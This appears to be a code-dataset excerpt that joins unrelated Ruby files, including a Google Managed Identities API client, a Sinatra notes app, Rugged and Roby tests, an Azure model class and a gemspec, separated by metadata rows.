command = make_simple_command(:post, 'v1beta1/{+name}:resetAdminPassword', options)
command.request_representation = Google::Apis::ManagedidentitiesV1beta1::ResetAdminPasswordRequest::Representation
command.request_object = reset_admin_password_request_object
command.response_representation = Google::Apis::ManagedidentitiesV1beta1::ResetAdminPasswordResponse::Representation
command.response_class = Google::Apis::ManagedidentitiesV1beta1::ResetAdminPasswordResponse
command.params['name'] = name unless name.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Sets the access control policy on the specified resource. Replaces any
# existing policy. Can return `NOT_FOUND`, `INVALID_ARGUMENT`, and `
# PERMISSION_DENIED` errors.
# @param [String] resource
# REQUIRED: The resource for which the policy is being specified. See the
# operation documentation for the appropriate value for this field.
# @param [Google::Apis::ManagedidentitiesV1beta1::SetIamPolicyRequest] set_iam_policy_request_object
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::ManagedidentitiesV1beta1::Policy] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::ManagedidentitiesV1beta1::Policy]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def set_domain_iam_policy(resource, set_iam_policy_request_object = nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:post, 'v1beta1/{+resource}:setIamPolicy', options)
command.request_representation = Google::Apis::ManagedidentitiesV1beta1::SetIamPolicyRequest::Representation
command.request_object = set_iam_policy_request_object
command.response_representation = Google::Apis::ManagedidentitiesV1beta1::Policy::Representation
command.response_class = Google::Apis::ManagedidentitiesV1beta1::Policy
command.params['resource'] = resource unless resource.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Returns permissions that a caller has on the specified resource. If the
# resource does not exist, this will return an empty set of permissions, not a `
# NOT_FOUND` error. Note: This operation is designed to be used for building
# permission-aware UIs and command-line tools, not for authorization checking.
# This operation may "fail open" without warning.
# @param [String] resource
# REQUIRED: The resource for which the policy detail is being requested. See the
# operation documentation for the appropriate value for this field.
# @param [Google::Apis::ManagedidentitiesV1beta1::TestIamPermissionsRequest] test_iam_permissions_request_object
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::ManagedidentitiesV1beta1::TestIamPermissionsResponse] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::ManagedidentitiesV1beta1::TestIamPermissionsResponse]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def test_domain_iam_permissions(resource, test_iam_permissions_request_object = nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:post, 'v1beta1/{+resource}:testIamPermissions', options)
command.request_representation = Google::Apis::ManagedidentitiesV1beta1::TestIamPermissionsRequest::Representation
command.request_object = test_iam_permissions_request_object
command.response_representation = Google::Apis::ManagedidentitiesV1beta1::TestIamPermissionsResponse::Representation
command.response_class = Google::Apis::ManagedidentitiesV1beta1::TestIamPermissionsResponse
command.params['resource'] = resource unless resource.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Validates a trust state, that the target domain is reachable, and that the
# target domain is able to accept incoming trust requests.
# @param [String] name
# Required. The resource domain name, project name, and location using the form:
# `projects/`project_id`/locations/global/domains/`domain_name``
# @param [Google::Apis::ManagedidentitiesV1beta1::ValidateTrustRequest] validate_trust_request_object
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::ManagedidentitiesV1beta1::Operation] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::ManagedidentitiesV1beta1::Operation]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def validate_domain_trust(name, validate_trust_request_object = nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:post, 'v1beta1/{+name}:validateTrust', options)
command.request_representation = Google::Apis::ManagedidentitiesV1beta1::ValidateTrustRequest::Representation
command.request_object = validate_trust_request_object
command.response_representation = Google::Apis::ManagedidentitiesV1beta1::Operation::Representation
command.response_class = Google::Apis::ManagedidentitiesV1beta1::Operation
command.params['name'] = name unless name.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Starts asynchronous cancellation on a long-running operation. The server makes
# a best effort to cancel the operation, but success is not guaranteed. If the
# server doesn't support this method, it returns `google.rpc.Code.UNIMPLEMENTED`.
# Clients can use Operations.GetOperation or other methods to check whether the
# cancellation succeeded or whether the operation completed despite cancellation.
# On successful cancellation, the operation is not deleted; instead, it becomes
# an operation with an Operation.error value with a google.rpc.Status.code of 1,
# corresponding to `Code.CANCELLED`.
# @param [String] name
# The name of the operation resource to be cancelled.
# @param [Google::Apis::ManagedidentitiesV1beta1::CancelOperationRequest] cancel_operation_request_object
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::ManagedidentitiesV1beta1::Empty] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::ManagedidentitiesV1beta1::Empty]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def cancel_operation(name, cancel_operation_request_object = nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:post, 'v1beta1/{+name}:cancel', options)
command.request_representation = Google::Apis::ManagedidentitiesV1beta1::CancelOperationRequest::Representation
command.request_object = cancel_operation_request_object
command.response_representation = Google::Apis::ManagedidentitiesV1beta1::Empty::Representation
command.response_class = Google::Apis::ManagedidentitiesV1beta1::Empty
command.params['name'] = name unless name.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Deletes a long-running operation. This method indicates that the client is no
# longer interested in the operation result. It does not cancel the operation.
# If the server doesn't support this method, it returns `google.rpc.Code.
# UNIMPLEMENTED`.
# @param [String] name
# The name of the operation resource to be deleted.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::ManagedidentitiesV1beta1::Empty] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::ManagedidentitiesV1beta1::Empty]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def delete_project_location_global_operation(name, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:delete, 'v1beta1/{+name}', options)
command.response_representation = Google::Apis::ManagedidentitiesV1beta1::Empty::Representation
command.response_class = Google::Apis::ManagedidentitiesV1beta1::Empty
command.params['name'] = name unless name.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Gets the latest state of a long-running operation. Clients can use this method
# to poll the operation result at intervals as recommended by the API service.
# @param [String] name
# The name of the operation resource.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::ManagedidentitiesV1beta1::Operation] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::ManagedidentitiesV1beta1::Operation]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def get_project_location_global_operation(name, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:get, 'v1beta1/{+name}', options)
command.response_representation = Google::Apis::ManagedidentitiesV1beta1::Operation::Representation
command.response_class = Google::Apis::ManagedidentitiesV1beta1::Operation
command.params['name'] = name unless name.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Lists operations that match the specified filter in the request. If the server
# doesn't support this method, it returns `UNIMPLEMENTED`. NOTE: the `name`
# binding allows API services to override the binding to use different resource
# name schemes, such as `users/*/operations`. To override the binding, API
# services can add a binding such as `"/v1/`name=users/*`/operations"` to their
# service configuration. For backwards compatibility, the default name includes
# the operations collection id, however overriding users must ensure the name
# binding is the parent resource, without the operations collection id.
# @param [String] name
# The name of the operation's parent resource.
# @param [String] filter
# The standard list filter.
# @param [Fixnum] page_size
# The standard list page size.
# @param [String] page_token
# The standard list page token.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::ManagedidentitiesV1beta1::ListOperationsResponse] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::ManagedidentitiesV1beta1::ListOperationsResponse]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def list_project_location_global_operations(name, filter: nil, page_size: nil, page_token: nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:get, 'v1beta1/{+name}', options)
command.response_representation = Google::Apis::ManagedidentitiesV1beta1::ListOperationsResponse::Representation
command.response_class = Google::Apis::ManagedidentitiesV1beta1::ListOperationsResponse
command.params['name'] = name unless name.nil?
command.query['filter'] = filter unless filter.nil?
command.query['pageSize'] = page_size unless page_size.nil?
command.query['pageToken'] = page_token unless page_token.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
protected
def apply_command_defaults(command)
command.query['key'] = key unless key.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
end
end
end
end
end
| 63.822835 | 173 | 0.687393 |
f7b6edc62a0879c7741797ff8470957c28245c8c | 4,835 | #
# Firm details FormPanel implementation
#
# - author: Steve A.
# - vers. : 3.05.05.20131002
#
class FirmDetails < Netzke::Basepack::FormPanel
model 'Firm'
js_properties(
:prevent_header => true,
:track_reset_on_load => false,
:border => false
)
def configuration
super.merge(
:min_width => 400,
:width => 420
)
end
# ASSERT: assuming current_user is always set for this grid component:
items [
{
:layout => :column, :border => false,
:items => [
{
:column_width => 1.00, :border => false,
:defaults => { :label_width => 80 },
:items => [
{
:xtype => :fieldcontainer, :field_label => I18n.t(:created_slash_updated_on),
:layout => :hbox, :label_width => 125, :width => 350, :height => 18,
:items => [
{ :name => :created_on, :hide_label => true, :xtype => :displayfield, :width => 80},
{ :xtype => :displayfield, :value => ' / ', :margin => '0 2 0 2' },
{ :name => :updated_on, :hide_label => true, :xtype => :displayfield, :width => 120 }
]
},
{ :name => :name, :field_label => I18n.t(:name), :width => 370, :field_style => 'font-size: 110%; font-weight: bold;' },
{ :name => :address, :field_label => I18n.t(:address), :width => 374 },
{ :name => :le_city__get_full_name, :field_label => I18n.t(:le_city, {:scope=>[:activerecord, :models]}),
# [20121121] For the combo-boxes to have a working query after the 4th char is entered in the edit widget,
# a lambda statement must be used. Using a pre-computed scope from the Model class prevents Netzke
# (as of this version) to append the correct WHERE clause to the scope itself (with an inline lambda, instead, it works).
:scope => lambda { |rel| rel.order("name ASC, area ASC") },
:width => 370
},
{ :name => :is_out_of_business, :field_label => I18n.t(:is_out_of_business),
:field_style => 'min-height: 13px; padding-left: 13px;',
:default_value => false, :unchecked_value => 'false'
},
{ :name => :tax_code, :field_label => I18n.t(:tax_code) },
{ :name => :vat_registration, :field_label => I18n.t(:vat_registration) },
{ :name => :phone_main, :field_label => I18n.t(:phone_main) },
{ :name => :phone_hq, :field_label => I18n.t(:phone_hq) },
{ :name => :phone_fax, :field_label => I18n.t(:phone_fax) },
{ :name => :e_mail, :field_label => I18n.t(:e_mail), :width => 320 },
{
:xtype => :fieldset, :title => I18n.t(:firm_type),
:layout => :hbox, :width => 360,
:defaults => {
:hide_label => true, :margin => '0 8 4 0',
:field_style => 'min-height: 13px; padding-left: 13px;',
:default_value => false, :unchecked_value => 'false'
},
:items => [
{ :name => :is_user, :box_label => I18n.t(:is_user) },
{ :name => :is_committer, :box_label => I18n.t(:is_committer) },
{ :name => :is_partner, :box_label => I18n.t(:is_partner) },
{ :name => :is_vendor, :box_label => I18n.t(:is_vendor) }
]
},
{ :name => :notes, :field_label => I18n.t(:notes), :width => 374 },
{ :name => :le_currency__display_symbol, :field_label => I18n.t(:le_currency, {:scope=>[:activerecord, :models]}), :width => 130,
:default_value => AppParameter.get_default_currency_id(),
# [20121121] See note above for the sorted combo boxes.
:scope => lambda { |rel| rel.order("display_symbol ASC") }
},
{ :name => :bank_name, :field_label => I18n.t(:bank_name), :width => 350 },
{ :name => :bank_abicab, :field_label => I18n.t(:bank_abicab) },
{ :name => :bank_cc, :field_label => I18n.t(:bank_cc) },
{ :name => :bank_notes, :field_label => I18n.t(:bank_notes), :width => 374 },
{ :name => :logo_image_big, :field_label => I18n.t(:logo_image_big), :width => 320 },
{ :name => :logo_image_short, :field_label => I18n.t(:logo_image_short), :width => 320 },
{ :name => :le_invoice_payment_type__get_full_name, :field_label => I18n.t(:le_invoice_payment_type),
# [20121121] See note above for the sorted combo boxes.
:scope => lambda { |rel| rel.order("name ASC") }, :width => 350
}
]
}
]
}
]
# ---------------------------------------------------------------------------
end | 46.047619 | 141 | 0.513754 |
1d8d93de122129b19bc3002b8d3c104c78e4bc8c | 1,009 | module Mincer
module Processors
module PgSearch
class SearchStatement
attr_accessor :columns, :options, :pattern
alias_method :terms, :pattern
def initialize(columns, options = {})
@columns, @options = columns, ::ActiveSupport::HashWithIndifferentAccess.new(options)
end
def sanitizers(type = :all)
@sanitizers ||= {}
@sanitizers[type] ||= Sanitizer::AVAILABLE_SANITIZERS.select do |sanitizer|
options[sanitizer].is_a?(Hash) && [:query, :document].include?(type) ? options[sanitizer][type] : options[sanitizer]
end
end
def dictionary
options[:dictionary] || Mincer.config.pg_search.fulltext_engine[:dictionary]
end
def threshold
options[:threshold] || Mincer.config.pg_search.trigram_engine[:threshold]
end
def param_name
options[:param_name] || Mincer.config.pg_search.param_name
end
end
end
end
end
| 28.828571 | 128 | 0.623389 |
38beb0fc08f99175a363dc3bde71689182ce4b77 | 122 | Facter.add('rvm_installed') do
rvm_binary = '/usr/local/rvm/bin/rvm'
setcode do
File.exist? rvm_binary
end
end
| 15.25 | 39 | 0.696721 |
623376d3e688b1390e44cacf19eddb9f73268f26 | 2,371 | require "test_helper"
require 'base64'
class ObjectTest < Rugged::TestCase
include Rugged::RepositoryAccess
def test_lookup_can_lookup_any_object_type
blob = Rugged::Object.lookup(@repo, "fa49b077972391ad58037050f2a75f74e3671e92")
assert_instance_of Rugged::Blob, blob
commit = Rugged::Object.lookup(@repo, "8496071c1b46c854b31185ea97743be6a8774479")
assert_instance_of Rugged::Commit, commit
tag = Rugged::Object.lookup(@repo, "0c37a5391bbff43c37f0d0371823a5509eed5b1d")
assert_instance_of Rugged::Tag::Annotation, tag
tree = Rugged::Object.lookup(@repo, "c4dc1555e4d4fa0e0c9c3fc46734c7c35b3ce90b")
assert_instance_of Rugged::Tree, tree
subclass = Class.new(Rugged::Object)
blob = subclass.lookup(@repo, "fa49b077972391ad58037050f2a75f74e3671e92")
assert_instance_of Rugged::Blob, blob
commit = subclass.lookup(@repo, "8496071c1b46c854b31185ea97743be6a8774479")
assert_instance_of Rugged::Commit, commit
tag = subclass.lookup(@repo, "0c37a5391bbff43c37f0d0371823a5509eed5b1d")
assert_instance_of Rugged::Tag::Annotation, tag
tree = subclass.lookup(@repo, "c4dc1555e4d4fa0e0c9c3fc46734c7c35b3ce90b")
assert_instance_of Rugged::Tree, tree
end
def test_fail_to_lookup_inexistant_object
assert_raises Rugged::OdbError do
@repo.lookup("a496071c1b46c854b31185ea97743be6a8774479")
end
end
def test_lookup_object
obj = @repo.lookup("8496071c1b46c854b31185ea97743be6a8774479")
assert_equal :commit, obj.type
assert_equal '8496071c1b46c854b31185ea97743be6a8774479', obj.oid
end
def test_objects_are_the_same
obj = @repo.lookup("8496071c1b46c854b31185ea97743be6a8774479")
obj2 = @repo.lookup("8496071c1b46c854b31185ea97743be6a8774479")
assert_equal obj, obj2
end
def test_read_raw_data
obj = @repo.lookup("8496071c1b46c854b31185ea97743be6a8774479")
assert obj.read_raw
end
def test_lookup_by_rev
obj = @repo.rev_parse("v1.0")
assert "0c37a5391bbff43c37f0d0371823a5509eed5b1d", obj.oid
obj = @repo.rev_parse("v1.0^1")
assert "8496071c1b46c854b31185ea97743be6a8774479", obj.oid
end
def test_lookup_oid_by_rev
oid = @repo.rev_parse_oid("v1.0")
assert "0c37a5391bbff43c37f0d0371823a5509eed5b1d", oid
@repo.rev_parse_oid("v1.0^1")
assert "8496071c1b46c854b31185ea97743be6a8774479", oid
end
end
| 32.930556 | 85 | 0.772248 |
f73b8bfcf46aa7df60c8bc9945d90f4d2e6cce7c | 2,433 | require 'rubygems'
require 'sinatra'
require 'data_mapper'
require 'builder'
require 'rack-flash'
#require 'sinatra-redi'
enable :sessions
use Rack::Flash, :sweep => true
SITE_TITLE = "Recall"
SITE_DESCRIPTION = "'cause you're too busy to remember"
DataMapper::setup(:default, "sqlite3://#{Dir.pwd}/recall.db")
class Note
include DataMapper::Resource
property :id, Serial
property :content, Text, :required => true
property :complete, Boolean, :required => true, :default => false
property :created_at, DateTime
property :updated_at, DateTime
end
DataMapper.finalize.auto_upgrade!
helpers do
include Rack::Utils
alias_method :h, :escape_html
end
get '/' do
@notes = Note.all :order => :id.desc
@title = 'All Notes'
if @notes.empty?
flash[:error] = 'No notes found. Add your first below.'
end
erb :home
end
post '/' do
n = Note.new
n.content = params[:content]
n.created_at = Time.now
n.updated_at = Time.now
if n.save
redirect '/', :notice => 'Note created successfully.'
else
redirect '/', :error => 'Failed to save note.'
end
end
get '/rss.xml' do
@notes = Note.all :order => :id.desc
builder :rss
end
get '/:id' do
@note = Note.get params[:id]
@title = "Edit note ##{params[:id]}"
if @note
erb :edit
else
redirect '/', :error => "Can't find that note."
end
erb :edit
end
put '/:id' do
n = Note.get params[:id]
unless n
redirect '/', :error => "Can't find that note."
end
n.content = params[:content]
n.complete = params[:complete] ? 1 : 0
n.updated_at = Time.now
if n.save
redirect '/', :notice => 'Note updated successfully.'
else
redirect '/', :error => 'Error updating note.'
end
end
get '/:id/delete' do
@note = Note.get params[:id]
@title = "Confirm deletion of note ##{params[:id]}"
if @note
erb :delete
else
redirect '/', :error => "Can't find that note."
end
end
delete '/:id' do
n = Note.get params[:id]
if n.destroy
redirect '/', :notice => 'Note deleted successfully.'
else
redirect '/', :error => 'Error deleting note.'
end
end
get '/:id/complete' do
n = Note.get params[:id]
unless n
redirect '/', :error => "Can't find that note."
end
n.complete = n.complete ? 0 : 1 #flip it
n.updated_at = Time.now
if n.save
redirect '/', :notice => 'Note marked as complete.'
else
redirect '/', :error => 'Error marking note as complete.'
end
end
| 21.156522 | 67 | 0.63954 |
33909d762f90fce9c5220c3621b3612f78b7fb34 | 4,431 | # encoding: utf-8
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect behavior and will be lost if the code is
# regenerated.
module Azure::ServiceFabric::V6_5_0_36
module Models
#
# Represents health evaluation for applications of a particular application
# type. The application type applications evaluation can be returned when
# cluster health evaluation returns unhealthy aggregated health state,
# either Error or Warning. It contains health evaluations for each
# unhealthy application of the included application type that impacted
# current aggregated health state.
#
class ApplicationTypeApplicationsHealthEvaluation < HealthEvaluation
include MsRestAzure
def initialize
@Kind = "ApplicationTypeApplications"
end
attr_accessor :Kind
# @return [String] The application type name as defined in the
# application manifest.
attr_accessor :application_type_name
# @return [Integer] Maximum allowed percentage of unhealthy applications
# for the application type, specified as an entry in
# ApplicationTypeHealthPolicyMap.
attr_accessor :max_percent_unhealthy_applications
# @return [Integer] Total number of applications of the application type
# found in the health store.
attr_accessor :total_count
# @return [Array<HealthEvaluationWrapper>] List of unhealthy evaluations
# that led to the aggregated health state. Includes all the unhealthy
# ApplicationHealthEvaluation of this application type that impacted the
# aggregated health.
attr_accessor :unhealthy_evaluations
#
# Mapper for ApplicationTypeApplicationsHealthEvaluation class as Ruby
# Hash.
# This will be used for serialization/deserialization.
#
def self.mapper()
{
client_side_validation: true,
required: false,
serialized_name: 'ApplicationTypeApplications',
type: {
name: 'Composite',
class_name: 'ApplicationTypeApplicationsHealthEvaluation',
model_properties: {
aggregated_health_state: {
client_side_validation: true,
required: false,
serialized_name: 'AggregatedHealthState',
type: {
name: 'String'
}
},
description: {
client_side_validation: true,
required: false,
serialized_name: 'Description',
type: {
name: 'String'
}
},
Kind: {
client_side_validation: true,
required: true,
serialized_name: 'Kind',
type: {
name: 'String'
}
},
application_type_name: {
client_side_validation: true,
required: false,
serialized_name: 'ApplicationTypeName',
type: {
name: 'String'
}
},
max_percent_unhealthy_applications: {
client_side_validation: true,
required: false,
serialized_name: 'MaxPercentUnhealthyApplications',
type: {
name: 'Number'
}
},
total_count: {
client_side_validation: true,
required: false,
serialized_name: 'TotalCount',
type: {
name: 'Number'
}
},
unhealthy_evaluations: {
client_side_validation: true,
required: false,
serialized_name: 'UnhealthyEvaluations',
type: {
name: 'Sequence',
element: {
client_side_validation: true,
required: false,
serialized_name: 'HealthEvaluationWrapperElementType',
type: {
name: 'Composite',
class_name: 'HealthEvaluationWrapper'
}
}
}
}
}
}
}
end
end
end
end
| 33.315789 | 79 | 0.546603 |
b9884937ecdf3da2be6bccfd8465d73b673ed190 | 287 | class User < ActiveRecord::Base
# Include default devise modules. Others available are:
# :confirmable, :lockable, :registerable, :timeoutable and :omniauthable
has_many :posts
devise :database_authenticatable,
:recoverable, :rememberable, :trackable, :validatable
end
| 35.875 | 74 | 0.752613 |
7a6b9b71a521f2e77203fa856817de4bc1e54565 | 2,914 | require 'rails_helper'
RSpec.describe SessionsController, type: :controller do
# for documentation on OmniAuth Test mode visit https://github.com/omniauth/omniauth/wiki/Integration-Testing
before :each do
OmniAuth.config.test_mode = true
@user_hash = {
provider: 'google_oauth2',
uid: 101,
info: {name: "test user", email: "[email protected]"},
credentials: {token: 'some_token', expires_at: (Time.new(2060) + 10.day)}
}
OmniAuth.config.mock_auth[:google_oauth2] = OmniAuth::AuthHash.new(@user_hash)
Rails.application.env_config["omniauth.auth"] = OmniAuth.config.mock_auth[:google_oauth2]
@user = instance_double("User")
allow(@user).to receive(:id).and_return(101)
end
after :each do
OmniAuth.config.mock_auth[:google_oauth2] = nil
OmniAuth.config.test_mode = false
end
# before { controller.instance_variable_set(:@authauth, nil) }
describe "#auth_hash" do
it "looks for hash in memory" do
allow(User).to receive(:find_or_create_from_auth_hash).and_return(@user)
expect(controller).to receive(:auth_hash)
post :create
end
end
describe "#create" do
it "Tries to find or create a new user" do
expect(User).to receive(:find_or_create_from_auth_hash).with(OmniAuth.config.mock_auth[:google_oauth2]).and_return(@user)
post :create
end
end
describe "POST create" do
it "Can find an existing user and update its record" do
expect(@user).to receive(:assign_attributes)
expect(@user).to receive(:save)
expect(User).to receive(:find_by).with(provider: 'google_oauth2', uid: 101).and_return(@user)
post :create
# expect(assigns(:current_user)).to eq("test user")
end
it "creates a new user" do
expect(User).to receive(:create_user_from_omniauth).with(OmniAuth.config.mock_auth[:google_oauth2]).and_return(@user)
post :create
# expect(assigns(:current_user)).to eq("test user")
end
it "sets the session hash to the user id" do
allow(User).to receive(:create_user_from_omniauth).with(OmniAuth.config.mock_auth[:google_oauth2]).and_return(@user)
post :create
expect(session[:user_id]).to eq(101)
end
end
describe "#destroy" do
it "Logs out current user" do
delete :destroy
expect(session[:user_id]).to eq(nil)
expect(response).to redirect_to root_path
end
end
describe "#auth_failure" do
it "sets an error message" do
get :auth_failure
expect(flash[:auth_failure]).to eq("Failed to Login")
expect(response).to redirect_to root_path
end
end
end
| 38.342105 | 133 | 0.620796 |
6220ee87b5cac191397a7e03b3e2501d1a378081 | 1,285 | # frozen_string_literal: true
# WARNING ABOUT GENERATED CODE
#
# This file is generated. See the contributing guide for more information:
# https://github.com/aws/aws-sdk-ruby/blob/version-3/CONTRIBUTING.md
#
# WARNING ABOUT GENERATED CODE
Gem::Specification.new do |spec|
spec.name = 'aws-sdk-kinesisanalytics'
spec.version = File.read(File.expand_path('../VERSION', __FILE__)).strip
spec.summary = 'AWS SDK for Ruby - Kinesis Analytics'
spec.description = 'Official AWS Ruby gem for Amazon Kinesis Analytics (Kinesis Analytics). This gem is part of the AWS SDK for Ruby.'
spec.author = 'Amazon Web Services'
spec.homepage = 'https://github.com/aws/aws-sdk-ruby'
spec.license = 'Apache-2.0'
spec.email = ['[email protected]']
spec.require_paths = ['lib']
spec.files = Dir['LICENSE.txt', 'CHANGELOG.md', 'VERSION', 'lib/**/*.rb']
spec.metadata = {
'source_code_uri' => 'https://github.com/aws/aws-sdk-ruby/tree/version-3/gems/aws-sdk-kinesisanalytics',
'changelog_uri' => 'https://github.com/aws/aws-sdk-ruby/tree/version-3/gems/aws-sdk-kinesisanalytics/CHANGELOG.md'
}
spec.add_dependency('aws-sdk-core', '~> 3', '>= 3.112.0')
spec.add_dependency('aws-sigv4', '~> 1.1')
end
| 40.15625 | 138 | 0.676265 |
26a39c8792dbc2be44986ffec28f5d40a9b21011 | 174 | Before do
set_env('MSF_DATBASE_CONFIG', Rails.configuration.paths['config/database'].existent.first)
set_env('RAILS_ENV', 'test')
@aruba_timeout_seconds = 4.minutes
end | 34.8 | 92 | 0.775862 |
2174939f02ec481d09df5d01b0a2544e24cc165a | 127 | # frozen_string_literal: true
module Libvirt
class NodeInfo < BaseInfo
struct_class FFI::Host::NodeInfoStruct
end
end
| 15.875 | 42 | 0.771654 |
1da47674bc7bdf4e7fd58e9ba8132d2259f3145f | 165 | class CreateBulletins < ActiveRecord::Migration[5.1]
def change
create_table :bulletins do |t|
t.string :title # 제목
t.timestamps
end
end
end
| 18.333333 | 52 | 0.666667 |
1cb1b1937c8324417ff6183d8fbbb68a0b5e6cfd | 132 | module OpenStax::Swagger
class ApplicationController < ActionController::Base
protect_from_forgery with: :exception
end
end
| 22 | 54 | 0.80303 |
1d062b95a47348f9bc4b45f75f247c4d0d41e0e7 | 152 | # frozen_string_literal: true
class Server < Sinatra::Base
set :root, File.join(File.dirname(__FILE__), '..')
get '/' do
erb :index
end
end
| 15.2 | 52 | 0.657895 |
38a7c067476ed10cdb1d3f2ea5f85f9a89ad3f6b | 905 | #
# Author:: Adam Jacob (<[email protected]>)
# Author:: Christopher Brown (<[email protected]>)
# Copyright:: 2008-2016, Chef Software, Inc.
# License:: Apache License, Version 2.0
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
$TESTING=true
$:.push File.join(File.dirname(__FILE__), '..', 'lib')
require 'rspec'
require 'mixlib/log'
require 'mixlib/log/formatter'
class Logit
extend Mixlib::Log
end
| 30.166667 | 74 | 0.735912 |
4a329a94295b294c392fac2515854e46b7741768 | 178 | class Author
attr_accessor :name, :biography
def initialize(name, biography)
@name = name
@biography = biography
end
def to_s
"#{@name}. #{@biography}"
end
end | 12.714286 | 33 | 0.662921 |
61d18d07926d310c37744d0b3313f34f2311284c | 7,673 | require 'roby/test/self'
class TC_TransactionsProxy < Minitest::Test
attr_reader :transaction
def setup
super
@transaction = Roby::Transaction.new(plan)
end
def teardown
transaction.discard_transaction
super
end
def test_wrapping_free_objects
task = Tasks::Simple.new
assert_same(task, transaction[task])
assert_equal(transaction, task.plan)
